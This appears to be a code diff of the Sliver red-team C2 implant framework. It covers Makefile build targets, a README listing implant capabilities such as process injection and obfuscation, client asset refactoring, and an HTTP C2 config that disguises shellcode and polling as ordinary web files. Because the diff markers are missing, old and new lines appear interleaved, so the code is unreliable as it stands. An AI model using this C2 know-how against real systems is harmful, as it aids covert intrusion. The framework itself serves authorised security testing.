||||
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
|
||||
default: clean .downloaded_assets validate-go-version
|
||||
$(ENV) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
|
||||
$(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
|
||||
|
||||
.PHONY: macos
|
||||
macos: clean validate-go-version
|
||||
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
|
||||
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
|
||||
# Allows you to build a CGO-free client for any target e.g. `GOOS=windows GOARCH=arm64 make client`
|
||||
# NOTE: WireGuard is not supported on all platforms, but most 64-bit GOOS/GOARCH combinations should work.
|
||||
.PHONY: client
|
||||
client: clean .downloaded_assets validate-go-version
|
||||
$(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
|
||||
|
||||
.PHONY: macos-amd64
|
||||
macos-amd64: clean .downloaded_assets validate-go-version
|
||||
GOOS=darwin GOARCH=amd64 $(ENV) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
|
||||
GOOS=darwin GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
|
||||
|
||||
.PHONY: macos-arm64
|
||||
macos-arm64: clean validate-go-version
|
||||
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
|
||||
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
|
||||
macos-arm64: clean .downloaded_assets validate-go-version
|
||||
GOOS=darwin GOARCH=arm64 $(ENV) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
|
||||
GOOS=darwin GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
|
||||
|
||||
.PHONY: linux
|
||||
linux: clean validate-go-version
|
||||
GOOS=linux GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
|
||||
GOOS=linux GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
|
||||
.PHONY: linux-amd64
|
||||
linux-amd64: clean .downloaded_assets validate-go-version
|
||||
GOOS=linux GOARCH=amd64 $(ENV) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
|
||||
GOOS=linux GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
|
||||
|
||||
.PHONY: linux-arm64
|
||||
linux-arm64: clean validate-go-version
|
||||
GOOS=linux GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
|
||||
GOOS=linux GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
|
||||
linux-arm64: clean .downloaded_assets validate-go-version
|
||||
GOOS=linux GOARCH=arm64 $(ENV) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
|
||||
GOOS=linux GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
|
||||
|
||||
.PHONY: windows
|
||||
windows: clean validate-go-version
|
||||
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX).exe ./server
|
||||
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX).exe ./client
|
||||
.PHONY: windows-amd64
|
||||
windows-amd64: clean .downloaded_assets validate-go-version
|
||||
GOOS=windows GOARCH=amd64 $(ENV) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX).exe ./server
|
||||
GOOS=windows GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX).exe ./client
|
||||
|
||||
.PHONY: clients
|
||||
clients: clean .downloaded_assets validate-go-version
|
||||
GOOS=darwin GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_macos-amd64$(ARTIFACT_SUFFIX) ./client
|
||||
GOOS=darwin GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_macos-arm64$(ARTIFACT_SUFFIX) ./client
|
||||
GOOS=linux GOARCH=386 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_linux-386$(ARTIFACT_SUFFIX) ./client
|
||||
GOOS=linux GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_linux-amd64$(ARTIFACT_SUFFIX) ./client
|
||||
GOOS=linux GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_linux-arm64$(ARTIFACT_SUFFIX) ./client
|
||||
GOOS=windows GOARCH=386 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_windows-386$(ARTIFACT_SUFFIX).exe ./client
|
||||
GOOS=windows GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_windows-amd64$(ARTIFACT_SUFFIX).exe ./client
|
||||
GOOS=windows GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_windows-arm64$(ARTIFACT_SUFFIX).exe ./client
|
||||
GOOS=freebsd GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_freebsd-amd64$(ARTIFACT_SUFFIX) ./client
|
||||
GOOS=freebsd GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_freebsd-arm64$(ARTIFACT_SUFFIX) ./client
|
||||
|
||||
.PHONY: servers
|
||||
servers:
|
||||
GOOS=windows GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_windows-amd64$(ARTIFACT_SUFFIX).exe ./server
|
||||
GOOS=linux GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_linux-amd64$(ARTIFACT_SUFFIX) ./server
|
||||
GOOS=linux GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_linux-arm64$(ARTIFACT_SUFFIX) ./server
|
||||
GOOS=darwin GOARCH=arm64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_darwin-arm64$(ARTIFACT_SUFFIX) ./server
|
||||
GOOS=darwin GOARCH=amd64 $(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_darwin-amd64$(ARTIFACT_SUFFIX) ./server
|
||||
|
||||
.PHONY: pb
|
||||
pb:
|
||||
@@ -146,6 +169,11 @@ pb:
|
||||
protoc -I protobuf/ protobuf/dnspb/dns.proto --go_out=paths=source_relative:protobuf/
|
||||
protoc -I protobuf/ protobuf/rpcpb/services.proto --go_out=paths=source_relative:protobuf/ --go-grpc_out=protobuf/ --go-grpc_opt=paths=source_relative
|
||||
|
||||
.PHONY: debug
|
||||
debug: clean
|
||||
$(ENV) CGO_ENABLED=$(CGO_ENABLED) $(GO) build -mod=vendor $(TAGS),server $(LDFLAGS_DEBUG) -o sliver-server$(ARTIFACT_SUFFIX) ./server
|
||||
$(ENV) CGO_ENABLED=0 $(GO) build -mod=vendor $(TAGS),client $(LDFLAGS_DEBUG) -o sliver-client$(ARTIFACT_SUFFIX) ./client
|
||||
|
||||
validate-go-version:
|
||||
@if [ $(GO_MAJOR_VERSION) -gt $(MIN_SUPPORTED_GO_MAJOR_VERSION) ]; then \
|
||||
exit 0 ;\
|
||||
@@ -164,7 +192,12 @@ clean-all: clean
|
||||
rm -rf ./server/assets/fs/windows/amd64
|
||||
rm -rf ./server/assets/fs/linux/amd64
|
||||
rm -f ./server/assets/fs/*.zip
|
||||
rm -f ./.downloaded_assets
|
||||
|
||||
.PHONY: clean
|
||||
clean:
|
||||
rm -f sliver-client sliver-server sliver-*.exe
|
||||
rm -f sliver-client sliver-client_* sliver-server sliver-server_* sliver-*.exe
|
||||
|
||||
.downloaded_assets:
|
||||
./go-assets.sh
|
||||
touch ./.downloaded_assets
|
||||
@@ -1,28 +1,33 @@
|
||||
Sliver
|
||||
======
|
||||
# Sliver
|
||||
|
||||
Sliver is an open source cross-platform adversary emulation/red team framework, it can be used by organizations of all sizes to perform security testing. Sliver's implants support C2 over Mutual TLS (mTLS), WireGuard, HTTP(S), and DNS and are dynamically compiled with per-binary asymmetric encryption keys.
|
||||
|
||||
The server and client support MacOS, Windows, and Linux. Implants are supported on MacOS, Windows, and Linux (and possibly every Golang compiler target but we've not tested them all).
|
||||
|
||||
 [](https://goreportcard.com/report/github.com/BishopFox/sliver) [](https://www.gnu.org/licenses/gpl-3.0)
|
||||
[](https://github.com/BishopFox/sliver/actions/workflows/autorelease.yml) [](https://goreportcard.com/report/github.com/BishopFox/sliver) [](https://www.gnu.org/licenses/gpl-3.0)
|
||||
|
||||
# v1.6.0 / `master`
|
||||
|
||||
**NOTE:** You are looking the latest master branch of Sliver v1.6.0; PRs should target this branch starting on 6/1/2023 ('MURICA format). However, this branch is NOT RECOMMENDED for production use yet. Please use release tagged versions for the best experience.
|
||||
|
||||
For PRs containing bug fixes specific to Sliver v1.5, please target the [`v1.5.x/master` branch](https://github.com/BishopFox/sliver/tree/v1.5.x/master).
|
||||
|
||||
### Features
|
||||
|
||||
* Dynamic code generation
|
||||
* Compile-time obfuscation
|
||||
* Multiplayer-mode
|
||||
* Staged and Stageless payloads
|
||||
* [Procedurally generated C2](https://github.com/BishopFox/sliver/wiki/HTTP(S)-C2#under-the-hood) over HTTP(S)
|
||||
* [DNS canary](https://github.com/BishopFox/sliver/wiki/DNS-C2#dns-canaries) blue team detection
|
||||
* [Secure C2](https://github.com/BishopFox/sliver/wiki/Transport-Encryption) over mTLS, WireGuard, HTTP(S), and DNS
|
||||
* Fully scriptable using [JavaScript/TypeScript](https://github.com/moloch--/sliver-script) or [Python](https://github.com/moloch--/sliver-py)
|
||||
* Windows process migration, process injection, user token manipulation, etc.
|
||||
* Let's Encrypt integration
|
||||
* In-memory .NET assembly execution
|
||||
* COFF/BOF in-memory loader
|
||||
* TCP and named pipe pivots
|
||||
* Much more!
|
||||
- Dynamic code generation
|
||||
- Compile-time obfuscation
|
||||
- Multiplayer-mode
|
||||
- Staged and Stageless payloads
|
||||
- [Procedurally generated C2](<https://github.com/BishopFox/sliver/wiki/HTTP(S)-C2#under-the-hood>) over HTTP(S)
|
||||
- [DNS canary](https://github.com/BishopFox/sliver/wiki/DNS-C2#dns-canaries) blue team detection
|
||||
- [Secure C2](https://github.com/BishopFox/sliver/wiki/Transport-Encryption) over mTLS, WireGuard, HTTP(S), and DNS
|
||||
- Fully scriptable using [JavaScript/TypeScript](https://github.com/moloch--/sliver-script) or [Python](https://github.com/moloch--/sliver-py)
|
||||
- Windows process migration, process injection, user token manipulation, etc.
|
||||
- Let's Encrypt integration
|
||||
- In-memory .NET assembly execution
|
||||
- COFF/BOF in-memory loader
|
||||
- TCP and named pipe pivots
|
||||
- Much more!
|
||||
|
||||
### Getting Started
|
||||
|
||||
@@ -47,4 +52,3 @@ Please take a moment and fill out [our survey](https://forms.gle/SwVsHFNh24ChG58
|
||||
### License - GPLv3
|
||||
|
||||
Sliver is licensed under [GPLv3](https://www.gnu.org/licenses/gpl-3.0.en.html), some sub-components may have separate licenses. See their respective subdirectories in this project for details.
|
||||
|
||||
+1
-1
@@ -15,4 +15,4 @@ Anything in the `master` branch, without an open ticket.
|
||||
|
||||
### Reporting a Vulnerability
|
||||
|
||||
Please report high and/or critical vulnerabilities via email `jdemesy<[a]>bishopfox.com`, if no response within 14 days, file a ticket with a `security` tag. Medium to Low risk vulnerabilities can simply be filed as a normal bug/issue with the `security` tag.
|
||||
Please report high and/or critical vulnerabilities via GitHub's private [report a vulnerability feature](https://github.com/BishopFox/sliver/security/advisories).
|
||||
@@ -1,4 +1,4 @@
|
||||
#!/usr/bin/env python
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
@@ -21,12 +21,6 @@ import os
|
||||
import sys
|
||||
import argparse
|
||||
|
||||
try:
|
||||
input = raw_input # Py2 / Py3 compatability
|
||||
except NameError:
|
||||
pass
|
||||
|
||||
|
||||
INFO = "\033[1m\033[36m[*]\033[0m "
|
||||
WARN = "\033[1m\033[31m[!]\033[0m "
|
||||
BOLD = "\033[1m"
|
||||
@@ -34,40 +28,46 @@ NORM = "\033[0m"
|
||||
|
||||
|
||||
def exec_cmd(cmd, ignore_status=False):
|
||||
""" Executes a command with some sugar """
|
||||
"""Executes a command with some sugar"""
|
||||
print("\n" + INFO + " %s\n" % cmd)
|
||||
status = os.system(cmd)
|
||||
if status != 0 and not ignore_status:
|
||||
print("\n" + WARN + "Command did not exit cleanly (%s) " % status)
|
||||
if input("continue? [Y/n]: ").upper() != 'Y':
|
||||
if input("continue? [Y/n]: ").upper() != "Y":
|
||||
sys.exit(status)
|
||||
return status
|
||||
|
||||
|
||||
def docker_rm_volumes():
|
||||
exec_cmd("docker volume rm $(docker volume ls -q)", ignore_status=True)
|
||||
|
||||
|
||||
def docker_rm_containers():
|
||||
exec_cmd("docker rm $(docker ps -a -q)", ignore_status=True)
|
||||
|
||||
|
||||
def docker_rm_images():
|
||||
exec_cmd("docker rmi -f $(docker images -q)", ignore_status=True)
|
||||
|
||||
|
||||
def docker_prune():
|
||||
exec_cmd("docker image prune -f", ignore_status=True)
|
||||
|
||||
|
||||
def docker_rm_all():
|
||||
docker_rm_containers()
|
||||
docker_rm_images()
|
||||
docker_rm_volumes()
|
||||
|
||||
|
||||
def build():
|
||||
status = exec_cmd("docker build -t sliver .")
|
||||
status = exec_cmd("docker build --target test .")
|
||||
if status == 0:
|
||||
print(INFO+"Build successful, start with %sdocker run -it sliver:latest%s" % (BOLD, NORM))
|
||||
print(INFO+"Remember you'll need to manually forward network ports")
|
||||
print("\n\n" + INFO + "Build successful")
|
||||
|
||||
|
||||
def main(args):
|
||||
""" Execute the respective task(s) based on cli args """
|
||||
"""Execute the respective task(s) based on cli args"""
|
||||
if args.rm_images:
|
||||
docker_rm_images()
|
||||
if args.rm_containers:
|
||||
@@ -76,42 +76,59 @@ def main(args):
|
||||
docker_rm_volumes()
|
||||
if args.rm_all:
|
||||
docker_rm_all()
|
||||
|
||||
|
||||
if not args.no_prune:
|
||||
docker_prune()
|
||||
if not args.no_build:
|
||||
build()
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
parser = argparse.ArgumentParser(
|
||||
description='automates interactions with docker')
|
||||
if __name__ == "__main__":
|
||||
parser = argparse.ArgumentParser(description="automates interactions with docker")
|
||||
|
||||
parser.add_argument('--no-build', '-b',
|
||||
help='do not run build',
|
||||
dest='no_build',
|
||||
action='store_true')
|
||||
parser.add_argument('--no-prune', '-np',
|
||||
help='do not prune images',
|
||||
dest='no_prune',
|
||||
action='store_true')
|
||||
parser.add_argument(
|
||||
"--no-build",
|
||||
"-b",
|
||||
help="do not run build",
|
||||
dest="no_build",
|
||||
action="store_true",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--no-prune",
|
||||
"-np",
|
||||
help="do not prune images",
|
||||
dest="no_prune",
|
||||
action="store_true",
|
||||
)
|
||||
|
||||
parser.add_argument('--rm-all', '-rma',
|
||||
help='rm all containers, images, and volumes',
|
||||
dest='rm_all',
|
||||
action='store_true')
|
||||
parser.add_argument('--rm-containers', '-rmc',
|
||||
help='rm all containers',
|
||||
dest='rm_containers',
|
||||
action='store_true')
|
||||
parser.add_argument('--rm-images', '-rmi',
|
||||
help='rm all images',
|
||||
dest='rm_images',
|
||||
action='store_true')
|
||||
parser.add_argument('--rm-volumes', '-rmv',
|
||||
help='rm dangling volumes only',
|
||||
dest='rm_volumes',
|
||||
action='store_true')
|
||||
parser.add_argument(
|
||||
"--rm-all",
|
||||
"-rma",
|
||||
help="rm all containers, images, and volumes",
|
||||
dest="rm_all",
|
||||
action="store_true",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--rm-containers",
|
||||
"-rmc",
|
||||
help="rm all containers",
|
||||
dest="rm_containers",
|
||||
action="store_true",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--rm-images",
|
||||
"-rmi",
|
||||
help="rm all images",
|
||||
dest="rm_images",
|
||||
action="store_true",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--rm-volumes",
|
||||
"-rmv",
|
||||
help="rm dangling volumes only",
|
||||
dest="rm_volumes",
|
||||
action="store_true",
|
||||
)
|
||||
try:
|
||||
main(parser.parse_args())
|
||||
except KeyboardInterrupt:
|
||||
|
||||
@@ -19,7 +19,6 @@ package assets
|
||||
*/
|
||||
|
||||
import (
|
||||
"io/ioutil"
|
||||
"log"
|
||||
"os"
|
||||
"path/filepath"
|
||||
@@ -45,7 +44,7 @@ func GetAliasesDir() string {
|
||||
// GetInstalledAliasManifests - Returns a list of installed alias manifests
|
||||
func GetInstalledAliasManifests() []string {
|
||||
aliasDir := GetAliasesDir()
|
||||
aliasDirContent, err := ioutil.ReadDir(aliasDir)
|
||||
aliasDirContent, err := os.ReadDir(aliasDir)
|
||||
if err != nil {
|
||||
log.Printf("error loading aliases: %s", err)
|
||||
return []string{}
|
||||
|
||||
@@ -20,7 +20,6 @@ package assets
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"io/ioutil"
|
||||
"log"
|
||||
"os"
|
||||
"os/exec"
|
||||
@@ -57,7 +56,7 @@ func GetArmoriesConfig() []*ArmoryConfig {
|
||||
if _, err := os.Stat(armoryConfigPath); os.IsNotExist(err) {
|
||||
return []*ArmoryConfig{defaultArmoryConfig}
|
||||
}
|
||||
data, err := ioutil.ReadFile(armoryConfigPath)
|
||||
data, err := os.ReadFile(armoryConfigPath)
|
||||
if err != nil {
|
||||
return []*ArmoryConfig{defaultArmoryConfig}
|
||||
}
|
||||
|
||||
+25
-2
@@ -20,7 +20,6 @@ package assets
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"log"
|
||||
"os"
|
||||
"os/user"
|
||||
@@ -50,9 +49,33 @@ func GetRootAppDir() string {
|
||||
return dir
|
||||
}
|
||||
|
||||
// GetClientLogsDir - Get the Sliver client logs dir ~/.sliver-client/logs/
|
||||
func GetClientLogsDir() string {
|
||||
logsDir := filepath.Join(GetRootAppDir(), "logs")
|
||||
if _, err := os.Stat(logsDir); os.IsNotExist(err) {
|
||||
err = os.MkdirAll(logsDir, 0700)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
}
|
||||
return logsDir
|
||||
}
|
||||
|
||||
// GetConsoleLogsDir - Get the Sliver client console logs dir ~/.sliver-client/logs/console/
|
||||
func GetConsoleLogsDir() string {
|
||||
consoleLogsDir := filepath.Join(GetClientLogsDir(), "console")
|
||||
if _, err := os.Stat(consoleLogsDir); os.IsNotExist(err) {
|
||||
err = os.MkdirAll(consoleLogsDir, 0700)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
}
|
||||
return consoleLogsDir
|
||||
}
|
||||
|
||||
func assetVersion() string {
|
||||
appDir := GetRootAppDir()
|
||||
data, err := ioutil.ReadFile(filepath.Join(appDir, versionFileName))
|
||||
data, err := os.ReadFile(filepath.Join(appDir, versionFileName))
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
|
||||
@@ -0,0 +1,86 @@
|
||||
package assets
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
// HTTPC2Config - Parent config file struct for implant/server
|
||||
type HTTPC2Config struct {
|
||||
ImplantConfig HTTPC2ImplantConfig `json:"implant_config"`
|
||||
ServerConfig HTTPC2ServerConfig `json:"server_config"`
|
||||
}
|
||||
|
||||
// HTTPC2ServerConfig - Server configuration options
|
||||
type HTTPC2ServerConfig struct {
|
||||
RandomVersionHeaders bool `json:"random_version_headers"`
|
||||
Headers []NameValueProbability `json:"headers"`
|
||||
Cookies []string `json:"cookies"`
|
||||
}
|
||||
|
||||
type NameValueProbability struct {
|
||||
Name string `json:"name"`
|
||||
Value string `json:"value"`
|
||||
Probability int `json:"probability"`
|
||||
Methods []string
|
||||
}
|
||||
|
||||
// HTTPC2ImplantConfig - Implant configuration options
|
||||
// Procedural C2
|
||||
// ===============
|
||||
// .txt = rsakey
|
||||
// .css = start
|
||||
// .php = session
|
||||
//
|
||||
// .js = poll
|
||||
//
|
||||
// .png = stop
|
||||
// .woff = sliver shellcode
|
||||
type HTTPC2ImplantConfig struct {
|
||||
UserAgent string `json:"user_agent"`
|
||||
ChromeBaseVersion int `json:"chrome_base_version"`
|
||||
MacOSVersion string `json:"macos_version"`
|
||||
|
||||
NonceQueryArgChars string `json:"nonce_query_args"`
|
||||
URLParameters []NameValueProbability `json:"url_parameters"`
|
||||
Headers []NameValueProbability `json:"headers"`
|
||||
|
||||
MaxFiles int `json:"max_files"`
|
||||
MinFiles int `json:"min_files"`
|
||||
MaxPaths int `json:"max_paths"`
|
||||
MinPaths int `json:"min_paths"`
|
||||
|
||||
// Stager files and paths
|
||||
StagerFileExt string `json:"stager_file_ext"`
|
||||
StagerFiles []string `json:"stager_files"`
|
||||
StagerPaths []string `json:"stager_paths"`
|
||||
|
||||
// Poll files and paths
|
||||
PollFileExt string `json:"poll_file_ext"`
|
||||
PollFiles []string `json:"poll_files"`
|
||||
PollPaths []string `json:"poll_paths"`
|
||||
|
||||
// Session files and paths
|
||||
StartSessionFileExt string `json:"start_session_file_ext"`
|
||||
SessionFileExt string `json:"session_file_ext"`
|
||||
SessionFiles []string `json:"session_files"`
|
||||
SessionPaths []string `json:"session_paths"`
|
||||
|
||||
// Close session files and paths
|
||||
CloseFileExt string `json:"close_file_ext"`
|
||||
CloseFiles []string `json:"close_files"`
|
||||
ClosePaths []string `json:"close_paths"`
|
||||
}
|
||||
@@ -23,10 +23,9 @@ import (
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"io"
|
||||
"log"
|
||||
"os"
|
||||
"path"
|
||||
"path/filepath"
|
||||
)
|
||||
|
||||
@@ -51,7 +50,7 @@ func GetConfigDir() string {
|
||||
rootDir, _ := filepath.Abs(GetRootAppDir())
|
||||
dir := filepath.Join(rootDir, ConfigDirName)
|
||||
if _, err := os.Stat(dir); os.IsNotExist(err) {
|
||||
err = os.MkdirAll(dir, 0700)
|
||||
err = os.MkdirAll(dir, 0o700)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
@@ -62,7 +61,7 @@ func GetConfigDir() string {
|
||||
// GetConfigs - Returns a list of available configs
|
||||
func GetConfigs() map[string]*ClientConfig {
|
||||
configDir := GetConfigDir()
|
||||
configFiles, err := ioutil.ReadDir(configDir)
|
||||
configFiles, err := os.ReadDir(configDir)
|
||||
if err != nil {
|
||||
log.Printf("No configs found %v", err)
|
||||
return map[string]*ClientConfig{}
|
||||
@@ -70,8 +69,8 @@ func GetConfigs() map[string]*ClientConfig {
|
||||
|
||||
confs := map[string]*ClientConfig{}
|
||||
for _, confFile := range configFiles {
|
||||
confFilePath := path.Join(configDir, confFile.Name())
|
||||
log.Printf("Parsing config %s", confFilePath)
|
||||
confFilePath := filepath.Join(configDir, confFile.Name())
|
||||
// log.Printf("Parsing config %s", confFilePath)
|
||||
|
||||
conf, err := ReadConfig(confFilePath)
|
||||
if err != nil {
|
||||
@@ -91,7 +90,7 @@ func ReadConfig(confFilePath string) (*ClientConfig, error) {
|
||||
return nil, err
|
||||
}
|
||||
defer confFile.Close()
|
||||
data, err := ioutil.ReadAll(confFile)
|
||||
data, err := io.ReadAll(confFile)
|
||||
if err != nil {
|
||||
log.Printf("Read failed %v", err)
|
||||
return nil, err
|
||||
@@ -114,7 +113,7 @@ func SaveConfig(config *ClientConfig) error {
|
||||
filename := fmt.Sprintf("%s_%s.cfg", filepath.Base(config.Operator), filepath.Base(config.LHost))
|
||||
saveTo, _ := filepath.Abs(filepath.Join(configDir, filename))
|
||||
configJSON, _ := json.Marshal(config)
|
||||
err := ioutil.WriteFile(saveTo, configJSON, 0600)
|
||||
err := os.WriteFile(saveTo, configJSON, 0o600)
|
||||
if err != nil {
|
||||
log.Printf("Failed to write config to: %s (%v)", saveTo, err)
|
||||
return err
|
||||
|
||||
@@ -19,7 +19,6 @@ package assets
|
||||
*/
|
||||
|
||||
import (
|
||||
"io/ioutil"
|
||||
"log"
|
||||
"os"
|
||||
"path/filepath"
|
||||
@@ -46,7 +45,7 @@ func GetExtensionsDir() string {
|
||||
// GetInstalledExtensionManifests - Returns a list of installed extension manifests
|
||||
func GetInstalledExtensionManifests() []string {
|
||||
extDir := GetExtensionsDir()
|
||||
extDirContent, err := ioutil.ReadDir(extDir)
|
||||
extDirContent, err := os.ReadDir(extDir)
|
||||
if err != nil {
|
||||
log.Printf("error loading aliases: %s", err)
|
||||
return []string{}
|
||||
|
||||
@@ -20,7 +20,7 @@ package assets
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path/filepath"
|
||||
)
|
||||
|
||||
@@ -36,12 +36,14 @@ type ClientSettings struct {
|
||||
SmallTermWidth int `json:"small_term_width"`
|
||||
AlwaysOverflow bool `json:"always_overflow"`
|
||||
VimMode bool `json:"vim_mode"`
|
||||
UserConnect bool `json:"user_connect"`
|
||||
ConsoleLogs bool `json:"console_logs"`
|
||||
}
|
||||
|
||||
// LoadSettings - Load the client settings from disk
|
||||
func LoadSettings() (*ClientSettings, error) {
|
||||
rootDir, _ := filepath.Abs(GetRootAppDir())
|
||||
data, err := ioutil.ReadFile(filepath.Join(rootDir, settingsFileName))
|
||||
data, err := os.ReadFile(filepath.Join(rootDir, settingsFileName))
|
||||
if err != nil {
|
||||
return defaultSettings(), err
|
||||
}
|
||||
@@ -61,6 +63,7 @@ func defaultSettings() *ClientSettings {
|
||||
SmallTermWidth: 170,
|
||||
AlwaysOverflow: false,
|
||||
VimMode: false,
|
||||
ConsoleLogs: true,
|
||||
}
|
||||
}
|
||||
|
||||
@@ -74,6 +77,6 @@ func SaveSettings(settings *ClientSettings) error {
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
err = ioutil.WriteFile(filepath.Join(rootDir, settingsFileName), data, 0600)
|
||||
err = os.WriteFile(filepath.Join(rootDir, settingsFileName), data, 0o600)
|
||||
return err
|
||||
}
|
||||
+32
-44
